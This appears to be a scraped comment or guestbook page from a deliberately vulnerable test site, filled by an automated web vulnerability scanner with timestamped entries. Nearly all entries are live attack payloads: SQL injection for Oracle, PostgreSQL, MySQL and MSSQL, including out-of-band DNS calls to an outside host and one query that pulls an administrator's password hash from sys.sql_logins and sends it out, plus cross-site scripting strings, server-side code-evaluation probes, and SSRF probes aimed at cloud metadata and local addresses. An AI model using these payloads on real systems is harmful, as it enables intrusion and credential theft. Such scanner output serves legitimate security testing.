
\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n [php]print(int)0xFFF9999-22;[/php]\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n '{${print(int)0xFFF9999-22}}'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n {php}print(int)0xFFF9999-22;{/php}\r\n

\r\n
\r\n

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR '1'='1

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR X='ss

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 17-7=10

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \"+print(int)0xFFF9999-22+\"\r\n

\r\n
\r\n

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+NSFTW+'

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1' OR 1=1 OR 'ns'='ns

\r\n

\r\n 8/23/2017 8:07:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 AND 'NS='ss

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n '+print(int)0xFFF9999-22+'\r\n

\r\n
\r\n

NSFTW

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

NS1NO

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:39 AM\r\n

\r\n

\r\n +print(int)0xFFF9999-22;//\r\n

\r\n
\r\n

'

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 OR 1=1

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'))exec('xp_dirtree ''\\\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n print(int)0xFFF9999-22\r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1))exec('xp_dirtree ''\\\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1')exec('xp_dirtree ''\\\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n <% response.write(268409241-22) %>\r\n

\r\n
\r\n

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.0.0.1:3306

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://127.100.11.2:22

\r\n

\r\n 8/23/2017 8:07:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) exec('xp_dirtree ''\\\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \"+response.write(268409241-22)+\"\r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1';exec('xp_dirtree ''\\\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n +response.write(268409241-22)'\r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

